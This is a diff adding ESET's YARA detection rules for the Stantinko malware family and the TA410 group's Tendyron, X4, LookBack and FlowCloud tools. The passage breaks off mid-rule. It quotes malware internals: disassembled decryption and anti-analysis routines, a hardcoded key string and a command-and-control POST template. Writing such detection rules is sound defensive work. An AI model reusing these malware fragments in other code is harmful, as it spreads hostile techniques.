+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+import "pe"
+
+rule beds_plugin {
+
+    meta:
+        Author      = "Frédéric Vachon"
+        Date        = "2017-07-17"
+        Description = "Stantinko BEDS' plugins"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    condition:
+        pe.exports("CheckDLLStatus") and
+        pe.exports("GetPluginData") and
+        pe.exports("InitializePlugin") and
+        pe.exports("IsReleased") and
+        pe.exports("ReleaseDLL")
+}
+
+rule beds_dropper {
+
+    meta:
+        Author      = "Frédéric Vachon"
+        Date        = "2017-07-17"
+        Description = "BEDS dropper"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    condition:
+        pe.imphash() == "a7ead4ef90d9981e25728e824a1ba3ef"
+        
+}
+
+rule facebook_bot {
+
+    meta:
+        Author      = "Frédéric Vachon"
+        Date        = "2017-07-17"
+        Description = "Stantinko's Facebook bot"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        $s1 = "m_upload_pic&return_uri=https%3A%2F%2Fm.facebook.com%2Fprofile.php" fullword ascii
+        $s2 = "D:\\work\\brut\\cms\\facebook\\facebookbot\\Release\\facebookbot.pdb" fullword ascii
+        $s3 = "https%3A%2F%2Fm.facebook.com%2Fcomment%2Freplies%2F%3Fctoken%3D" fullword ascii
+        $s4 = "reg_fb_gate=https%3A%2F%2Fm.facebook.com%2Freg" fullword ascii
+        $s5 = "reg_fb_ref=https%3A%2F%2Fm.facebook.com%2Freg%2F" fullword ascii
+        $s6 = "&return_uri_error=https%3A%2F%2Fm.facebook.com%2Fprofile.php" fullword ascii
+
+        $x1 = "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36" fullword ascii
+        $x2 = "registration@facebookmail.com" fullword ascii
+        $x3 = "https://m.facebook.com/profile.php?mds=" fullword ascii
+        $x4 = "https://upload.facebook.com/_mupload_/composer/?profile&domain=" fullword ascii
+        $x5 = "http://staticxx.facebook.com/connect/xd_arbiter.php?version=42#cb=ff43b202c" fullword ascii
+        $x6 = "https://upload.facebook.com/_mupload_/photo/x/saveunpublished/" fullword ascii
+        $x7 = "m.facebook.com&ref=m_upload_pic&waterfall_source=" fullword ascii
+        $x8 = "payload.commentID" fullword ascii
+        $x9 = "profile.login" fullword ascii
+
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and ( 1 of ($s*) or 3 of ($x*) ) ) or ( all of them )
+}
+
+rule pds_plugins {
+ 
+    meta:
+        Author      = "Frédéric Vachon"
+        Date        = "2017-07-17"
+        Description = "Stantinko PDS' plugins"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        $s1 = "std::_Vector_val<CHTTPPostItem *,std::allocator<CHTTPPostItem *> >" fullword ascii
+        $s2 = "std::_Vector_val<CHTTPHeader *,std::allocator<CHTTPHeader *> >" fullword ascii
+        $s3 = "std::vector<CHTTPHeader *,std::allocator<CHTTPHeader *> >" fullword ascii
+        $s4 = "std::vector<CHTTPPostItem *,std::allocator<CHTTPPostItem *> >" fullword ascii
+        $s5 = "CHTTPHeaderManager" fullword ascii
+        $s6 = "CHTTPPostItemManager *" fullword ascii
+        $s7 = "CHTTPHeaderManager *" fullword ascii
+        $s8 = "CHTTPPostItemManager" fullword ascii
+        $s9 = "CHTTPHeader" fullword ascii
+        $s10 = "CHTTPPostItem" fullword ascii
+        $s11 = "std::vector<CCookie *,std::allocator<CCookie *> >" fullword ascii
+        $s12 = "std::_Vector_val<CCookie *,std::allocator<CCookie *> >" fullword ascii
+        $s13 = "CCookieManager *" fullword ascii
+
+    condition:
+        ( uint16(0) == 0x5a4d and filesize < 1000KB and ( 2 of ($s*) ) )
+}
+
+rule stantinko_pdb {
+
+    meta:
+        Author      = "Frédéric Vachon"
+        Date        = "2017-07-17"
+        Description = "Stantinko malware family PDB path"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        $s1 = "D:\\work\\service\\service\\" ascii
+
+    condition:
+        all of them
+}
+
+rule stantinko_droppers {
+
+    meta:
+        Author      = "Marc-Etienne M.Léveillé"
+        Date        = "2017-07-17"
+        Description = "Stantinko droppers"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        // Bytes from the encrypted payload
+        $s1 = {55 8B EC 83 EC 08 53 56 BE 80 F4 45 00 57 81 EE 80 0E 41 00 56 E8 6D 23 00 00 56 8B D8 68 80 0E 41 00 53 89 5D F8 E8 65 73 00 00 8B 0D FC F5 45}
+
+        // Keys to decrypt payload
+        $s2 = {7E 5E 7F 8C 08 46 00 00 AB 57 1A BB 91 5C 00 00 FA CC FD 76 90 3A 00 00}
+
+    condition:
+        uint16(0) == 0x5A4D and 1 of them
+}
+
+rule stantinko_d3d {
+
+    meta:
+        Author      = "Marc-Etienne M.Léveillé"
+        Date        = "2017-07-17"
+        Description = "Stantinko d3dadapter component"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    condition:
+        pe.exports("EntryPoint") and
+        pe.exports("ServiceMain") and
+        pe.imports("WININET.DLL", "HttpAddRequestHeadersA")
+}
+
+rule stantinko_ihctrl32 {
+
+    meta:
+        Author      = "Marc-Etienne M.Léveillé"
+        Date        = "2017-07-17"
+        Description = "Stantinko ihctrl32 component"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        $s1 = "ihctrl32.dll"
+        $s2 = "win32_hlp"
+        $s3 = "Ihctrl32Main"
+        $s4 = "I%citi%c%size%s%c%ci%s"
+        $s5 = "Global\\Intel_hctrl32"
+
+    condition:
+        2 of them
+}
+
+rule stantinko_wsaudio {
+
+    meta:
+        Author      = "Marc-Etienne M.Léveillé"
+        Date        = "2017-07-17"
+        Description = "Stantinko wsaudio component"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        // Export
+        $s1 = "GetInterface"
+        $s2 = "wsaudio.dll"
+
+        // Event name
+        $s3 = "Global\\Wsaudio_Initialize"
+        $s4 = "SOFTWARE\\Classes\\%s.FieldListCtrl.1\\"
+
+    condition:
+        2 of them
+}
+
+rule stantinko_ghstore {
+
+    meta:
+        Author      = "Marc-Etienne M.Léveillé"
+        Date        = "2017-07-17"
+        Description = "Stantinko ghstore component"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        $s1 = "G%cost%sSt%c%s%s%ce%sr" wide
+        $s2 = "%cho%ct%sS%sa%c%s%crve%c" wide
+        $s3 = "Par%c%ce%c%c%s" wide
+        $s4 = "S%c%curity%c%s%c%s" wide
+        $s5 = "Sys%c%s%c%c%su%c%s%clS%c%s%serv%s%ces" wide
+
+    condition:
+        3 of them
+}
diff --git a/yara-mikesxrs/eset/ta410.yar b/yara-mikesxrs/eset/ta410.yar
new file mode 100644
index 0000000..0c7b9d0
--- /dev/null
+++ b/yara-mikesxrs/eset/ta410.yar
@@ -0,0 +1,741 @@
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2022, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+import "pe"
+
+rule apt_Windows_TA410_Tendyron_dropper
+{
+    meta:
+        description = "TA410 Tendyron Dropper"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2020-12-09"
+    strings:
+        $s1 = "Global\\{F473B3BE-08EE-4710-A727-9E248F804F4A}" wide
+        $s2 = "Global\\8D32CCB321B2" wide
+        $s3 = "Global\\E4FE94F75490" wide
+        $s4 = "Program Files (x86)\\Internet Explorer\\iexplore.exe" wide
+        $s5 = "\\RPC Control\\OLE" wide
+        $s6 = "ALPC Port" wide
+    condition:
+        int16(0) == 0x5A4D and 4 of them
+}
+
+rule apt_Windows_TA410_Tendyron_installer
+{
+    meta:
+        description = "TA410 Tendyron Installer"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2020-12-09"
+    strings:
+        $s1 = "Tendyron" wide
+        $s2 = "OnKeyToken_KEB.dll" wide
+        $s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
+        $s4 = "Global\\8D32CCB321B2"
+        $s5 = "\\RTFExploit\\"
+    condition:
+        int16(0) == 0x5A4D and 3 of them
+}
+
+rule apt_Windows_TA410_Tendyron_Downloader
+{
+    meta:
+        description = "TA410 Tendyron Downloader"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2020-12-09"
+    strings:
+        /*
+        0x401250 8A10                          mov dl, byte ptr [eax]
+        0x401252 80F25C                        xor dl, 0x5c
+        0x401255 80C25C                        add dl, 0x5c
+        0x401258 8810                          mov byte ptr [eax], dl
+        0x40125a 40                            inc eax
+        0x40125b 83E901                        sub ecx, 1
+        0x40125e 75F0                          jne 0x401250
+         */
+        $chunk_1 = {
+            8A 10
+            80 F2 5C
+            80 C2 5C
+            88 10
+            40
+            83 E9 01
+            75 ??
+        }
+        $s1 = "startModule" fullword
+    condition:
+        int16(0) == 0x5A4D and all of them
+}
+
+rule apt_Windows_TA410_X4_strings
+{
+    meta:
+        description = "Matches various strings found in TA410 X4"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2020-10-09"
+    strings:
+        $s1 = "[X]InLoadSC" ascii wide nocase
+        $s3 = "MachineKeys\\Log\\rsa.txt" ascii wide nocase
+        $s4 = "MachineKeys\\Log\\output.log" ascii wide nocase
+    condition:
+        any of them
+}
+
+rule apt_Windows_TA410_X4_hash_values
+{
+    meta:
+        description = "Matches X4 hash function found in TA410 X4"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2020-10-09"
+    strings:
+        $s1 = {D1 10 76 C2 B6 03}
+        $s2 = {71 3E A8 0D}
+        $s3 = {DC 78 94 0E}
+        $s4 = {40 0D E7 D6 06}
+        $s5 = {83 BB FD E8 06}
+        $s6 = {92 9D 9B FF EC 03}
+        $s7 = {DD 0E FC FA F5 03}
+        $s8 = {15 60 1E FB F5 03}
+    condition:
+        uint16(0) == 0x5a4d and 4 of them
+
+}
+
+rule apt_Windows_TA410_X4_hash_fct
+{
+    meta:
+        description = "Matches X4 hash function found in TA410 X4"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2020-10-09"
+
+    /*
+    0x6056cc2150 0FB601                        movzx eax, byte ptr [rcx]
+    0x6056cc2153 84C0                          test al, al
+    0x6056cc2155 7416                          je 0x6056cc216d
+    0x6056cc2157 4869D283000000                imul rdx, rdx, 0x83
+    0x6056cc215e 480FBEC0                      movsx rax, al
+    0x6056cc2162 4803D0                        add rdx, rax
+    0x6056cc2165 48FFC1                        inc rcx
+    0x6056cc2168 E9E3FFFFFF                    jmp 0x6056cc2150
+     */
+    strings:
+        $chunk_1 = {
+            0F B6 01
+            84 C0
+            74 ??
+            48 69 D2 83 00 00 00
+            48 0F BE C0
+            48 03 D0
+            48 FF C1
+            E9 ?? ?? ?? ??
+        }
+
+    condition:
+        uint16(0) == 0x5a4d and any of them
+
+}
+
+rule apt_Windows_TA410_LookBack_decryption
+{
+    meta:
+        description = "Matches encryption/decryption function used by LookBack."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $initialize = {
+            8B C6           //mov eax, esi
+            99              //cdq
+            83 E2 03        //and edx, 3
+            03 C2           //add eax, edx
+            C1 F8 02        //sar eax, 2
+            8A C8           //mov cl, al
+            02 C0           //add al, al
+            02 C8           //add cl, al
+            88 4C 34 10         //mov byte ptr [esp + esi + 0x10], cl
+            46              //inc esi
+            81 FE 00 01 00 00       //cmp esi, 0x100
+            72 ??
+        }
+        $generate = {
+            8A 94 1C 10 01 ?? ??    //mov dl, byte ptr [esp + ebx + 0x110]
+            8D 8C 24 10 01 ?? ??    //lea ecx, [esp + 0x110]
+            0F B6 C3        //movzx eax, bl
+            0F B6 44 04 10      //movzx eax, byte ptr [esp + eax + 0x10]
+            32 C2           //xor al, dl
+            02 F0           //add dh, al
+            0F B6 C6        //movzx eax, dh
+            03 C8           //add ecx, eax
+            0F B6 01        //movzx eax, byte ptr [ecx]
+            88 84 1C 10 01 ?? ??    //mov byte ptr [esp + ebx + 0x110], al
+            43              //inc ebx
+            88 11           //mov byte ptr [ecx], dl
+            81 FB 00 06 00 00       //cmp ebx, 0x600
+            72 ??           //jb 0x10025930
+        }
+        $decrypt = {
+            0F B6 C6        //movzx eax, dh
+            8D 8C 24 10 01 ?? ??    //lea ecx, [esp + 0x110]
+            03 C8           //add ecx, eax
+            8A 19           //mov bl, byte ptr [ecx]
+            8A C3           //mov al, bl
+            02 C6           //add al, dh
+            FE C6           //inc dh
+            02 F8           //add bh, al
+            0F B6 C7        //movzx eax, bh
+            8A 94 04 10 01 ?? ??    //mov dl, byte ptr [esp + eax + 0x110]
+            88 9C 04 10 01 ?? ??    //mov byte ptr [esp + eax + 0x110], bl
+            88 11           //mov byte ptr [ecx], dl
+            0F B6 C2        //movzx eax, dl
+            0F B6 CB        //movzx ecx, bl
+            33 C8           //xor ecx, eax
+            8A 84 0C 10 01 ?? ??    //mov al, byte ptr [esp + ecx + 0x110]
+            30 04 2E        //xor byte ptr [esi + ebp], al
+            46              //inc esi
+            3B F7           //cmp esi, edi
+            7C ??           //jl 0x10025980
+        }
+    condition:
+        uint16(0) == 0x5a4d and all of them
+}
+
+rule apt_Windows_TA410_LookBack_loader
+{
+    meta:
+        description = "Matches the modified function in LookBack libcurl loader."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $chunk_1 = {
+            FF 15 ?? ?? ?? ??      //call dword ptr [0x100530e0]
+            6A 40          //push 0x40
+            68 00 10 00 00     //push 0x1000
+            68 F0 04 00 00     //push 0x4f0
+            6A 00          //push 0
+            FF 15 ?? ?? ?? ??      //call dword ptr [0x100530d4]
+            8B E8          //mov ebp, eax
+            B9 3C 01 00 00     //mov ecx, 0x13c
+            BE 60 30 06 10     //mov esi, 0x10063060
+            8B FD          //mov edi, ebp
+            68 F0 04 00 00     //push 0x4f0
+            F3 A5          //rep movsd dword ptr es:[edi], dword ptr [esi]
+            55             //push ebp
+            E8 ?? ?? ?? ??     //call 0x100258d0
+            8B 0D ?? ?? ?? ??      //mov ecx, dword ptr [0x100530e4]
+            A1 ?? ?? ?? ??     //mov eax, dword ptr [0x100530c8]
+            68 6C 02 00 00     //push 0x26c
+            89 4C 24 ??        //mov dword ptr [esp + 0x1c], ecx
+            89 44 24 ??        //mov dword ptr [esp + 0x20], eax
+            FF 15 ?? ?? ?? ??      //call dword ptr [0x10063038]
+            8B D8          //mov ebx, eax
+            B9 9B 00 00 00     //mov ecx, 0x9b
+            BE 50 35 06 10     //mov esi, 0x10063550
+            8B FB          //mov edi, ebx
+            68 6C 02 00 00      //push 0x26c
+            F3 A5          //rep movsd dword ptr es:[edi], dword ptr [esi]
+            53             //push ebx
+            E8 ?? ?? ?? ??     //call 0x100258d0
+            83 C4 14           //add esp, 0x14
+            8D 44 24 ??        //lea eax, [esp + 0x10]
+            50             //push eax
+            53             //push ebx
+            8D 44 24 ??        //lea eax, [esp + 0x3c]
+            50             //push eax
+            A1 ?? ?? ?? ??     //mov eax, dword ptr [0x10063058]
+            FF 74 24 ??        //push dword ptr [esp + 0x28]
+            03 C5          //add eax, ebp
+            FF D0          //call eax
+        }
+    condition:
+        uint16(0) == 0x5a4d and all of them
+}
+
+rule apt_Windows_TA410_LookBack_strings
+{
+    meta:
+        description = "Matches multiple strings and export names in TA410 LookBack."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $s1 = "SodomMainFree" ascii wide
+        $s2 = "SodomMainInit" ascii wide
+        $s3 = "SodomNormal.bin" ascii wide
+        $s4 = "SodomHttp.bin" ascii wide
+        $s5 = "sodom.ini" ascii wide
+        $s6 = "SodomMainProc" ascii wide
+
+    condition:
+        uint16(0) == 0x5a4d and (2 of them or pe.exports("SodomBodyLoad") or pe.exports("SodomBodyLoadTest"))
+}
+
+rule apt_Windows_TA410_LookBack_HTTP
+{
+    meta:
+        description = "Matches LookBack's hardcoded HTTP request"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $s1 = "POST http://%s/status.php?r=%d%d HTTP/1.1\x0d\nAccept: text/html, application/xhtml+xml, */*\x0d\nAccept-Language: en-us\x0d\nUser-Agent: %s\x0d\nContent-Type: application/x-www-form-urlencoded\x0d\nAccept-Encoding: gzip, deflate\x0d\nHost: %s\x0d\nContent-Length: %d\x0d\nConnection: Keep-Alive\x0d\nCache-Control: no-cache\x0d\n\x0d\n" ascii wide
+        $s2 = "id=1&op=report&status="
+
+    condition:
+        uint16(0) == 0x5a4d and all of them
+}
+
+rule apt_Windows_TA410_LookBack_magic
+{
+    meta:
+        description = "Matches message header creation in LookBack."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $s1 = {
+            C7 03 C2 2E AB 48           //mov dword ptr [ebx], 0x48ab2ec2
+            ( A1 | 8B 15 ) ?? ?? ?? ??      //mov (eax | edx), x
+            [0-1]               //push ebp
+            89 ?3 04            //mov dword ptr [ebc + 4], reg
+            8B 4? 24 ??             //mov reg, dword ptr [esp + X]
+            89 4? 08            //mov dword ptr [ebx + 8], ??
+            89 ?? 0C            //mov dword ptr [ebx + 0xc], ??
+            8B 4? 24 ??             //mov reg, dword ptr [esp + X]
+            [1-2]               //push 1 or 2 args
+            E8 ?? ?? ?? ??          //call
+        }
+
+    condition:
+        uint16(0) == 0x5a4d and all of them
+}
+
+rule apt_Windows_TA410_FlowCloud_loader_strings
+{
+    meta:
+        description = "Matches various strings found in TA410 FlowCloud first stage."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $key = "y983nfdicu3j2dcn09wur9*^&initialize(y4r3inf;'fdskaf'SKF"
+        $s2 = "startModule" fullword
+        $s4 = "auto_start_module" wide
+        $s5 = "load_main_module_after_install" wide
+        $s6 = "terminate_if_fail" wide
+        $s7 = "clear_run_mru" wide
+        $s8 = "install_to_vista" wide
+        $s9 = "load_ext_module" wide
+        $s10= "sll_only" wide
+        $s11= "fail_if_already_installed" wide
+        $s12= "clear_hardware_info" wide
+        $s13= "av_check" wide fullword
+        $s14= "check_rs" wide
+        $s15= "check_360" wide
+        $s16= "responsor.dat" wide ascii
+        $s17= "auto_start_after_install_check_anti" wide fullword
+        $s18= "auto_start_after_install" wide fullword
+        $s19= "extern_config.dat" wide fullword
+        $s20= "is_hhw" wide fullword
+        $s21= "SYSTEM\\Setup\\PrintResponsor" wide
+        $event= "Global\\Event_{201a283f-e52b-450e-bf44-7dc436037e56}" wide ascii
+        $s23= "invalid encrypto hdr while decrypting"
+
+    condition:
+        uint16(0) == 0x5a4d and ($key or $event or 5 of ($s*))
+}
+
+rule apt_Windows_TA410_FlowCloud_header_decryption
+{
+    meta:
+        description = "Matches the function used to decrypt resources headers in TA410 FlowCloud"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+    /*
+    0x416a70 8B1E              mov ebx, dword ptr [esi]
+    0x416a72 8BCF              mov ecx, edi
+    0x416a74 D3CB              ror ebx, cl
+    0x416a76 8D0C28            lea ecx, [eax + ebp]
+    0x416a79 83C706            add edi, 6
+    0x416a7c 3018              xor byte ptr [eax], bl
+    0x416a7e 8B1E              mov ebx, dword ptr [esi]
+    0x416a80 D3CB              ror ebx, cl
+    0x416a82 8D0C02            lea ecx, [edx + eax]
+    0x416a85 305801            xor byte ptr [eax + 1], bl
+    0x416a88 8B1E              mov ebx, dword ptr [esi]
+    0x416a8a D3CB              ror ebx, cl
+    0x416a8c 8B4C240C              mov ecx, dword ptr [esp + 0xc]
+    0x416a90 03C8              add ecx, eax
+    0x416a92 305802            xor byte ptr [eax + 2], bl
+    0x416a95 8B1E              mov ebx, dword ptr [esi]
+    0x416a97 D3CB              ror ebx, cl
+    0x416a99 8B4C2410              mov ecx, dword ptr [esp + 0x10]
+    0x416a9d 03C8              add ecx, eax
+    0x416a9f 305803            xor byte ptr [eax + 3], bl
+    0x416aa2 8B1E              mov ebx, dword ptr [esi]
+    0x416aa4 D3CB              ror ebx, cl
+    0x416aa6 8B4C2414              mov ecx, dword ptr [esp + 0x14]
+    0x416aaa 03C8              add ecx, eax
+    0x416aac 83C006            add eax, 6
+    0x416aaf 3058FE            xor byte ptr [eax - 2], bl
+    0x416ab2 8B1E              mov ebx, dword ptr [esi]
+    0x416ab4 D3CB              ror ebx, cl
+    0x416ab6 3058FF            xor byte ptr [eax - 1], bl
+    0x416ab9 83FF10            cmp edi, 0x10
+    0x416abc 72B2              jb 0x416a70
+     */
+    strings:
+        $chunk_1 = {
+            8B 1E
+            8B CF
+            D3 CB
+            8D 0C 28
+            83 C7 06
+            30 18
+            8B 1E
+            D3 CB
+            8D 0C 02
+            30 58 ??
+            8B 1E
+            D3 CB
+            8B 4C 24 ??
+            03 C8
+            30 58 ??
+            8B 1E
+            D3 CB
+            8B 4C 24 ??
+            03 C8
+            30 58 ??
+            8B 1E
+            D3 CB
+            8B 4C 24 ??
+            03 C8
+            83 C0 06
+            30 58 ??
+            8B 1E
+            D3 CB
+            30 58 ??
+            83 FF 10
+            72 ??
+        }
+
+    condition:
+        uint16(0) == 0x5a4d and all of them
+}
+
+rule apt_Windows_TA410_FlowCloud_dll_hijacking_strings
+{
+    meta:
+        description = "Matches filenames inside TA410 FlowCloud malicious DLL."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $dat1 = "emedres.dat" wide
+        $dat2 = "vviewres.dat" wide
+        $dat3 = "setlangloc.dat" wide
+        $dll1 = "emedres.dll" wide
+        $dll2 = "vviewres.dll" wide
+        $dll3 = "setlangloc.dll" wide
+    condition:
+        uint16(0) == 0x5a4d and (all of ($dat*) or all of ($dll*))
+}
+
+rule apt_Windows_TA410_FlowCloud_malicious_dll_antianalysis
+{
+    meta:
+        description = "Matches anti-analysis techniques used in TA410 FlowCloud hijacking DLL."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+    /*
+        33C0              xor eax, eax
+        E8320C0000            call 0x10001d30
+        83C010            add eax, 0x10
+        3D00000080            cmp eax, 0x80000000
+        7D01              jge +3
+        EBFF              jmp +1 / jmp eax
+        E050              loopne 0x1000115c / push eax
+        C3                ret
+    */
+        $chunk_1 = {
+            33 C0
+            E8 ?? ?? ?? ??
+            83 C0 10
+            3D 00 00 00 80
+            7D 01
+            EB FF
+            E0 50
+            C3
+        }
+    condition:
+        uint16(0) == 0x5a4d and all of them
+}
+
+rule apt_Windows_TA410_FlowCloud_pdb
+{
+    meta:
+        description = "Matches PDB paths found in TA410 FlowCloud."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+
+    condition:
+        uint16(0) == 0x5a4d and (pe.pdb_path contains "\\FlowCloud\\trunk\\" or pe.pdb_path contains "\\flowcloud\\trunk\\")
+}
+
+rule apt_Windows_TA410_FlowCloud_shellcode_decryption
+{
+    meta:
+        description = "Matches the decryption function used in TA410 FlowCloud self-decrypting DLL"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    /*
+    0x211 33D2              xor edx, edx
+    0x213 8B4510            mov eax, dword ptr [ebp + 0x10]
+    0x216 BB6B040000            mov ebx, 0x46b
+    0x21b F7F3              div ebx
+    0x21d 81C2A8010000          add edx, 0x1a8
+    0x223 81E2FF000000          and edx, 0xff
+    0x229 8B7D08            mov edi, dword ptr [ebp + 8]
+    0x22c 33C9              xor ecx, ecx
+    0x22e EB07              jmp 0x237
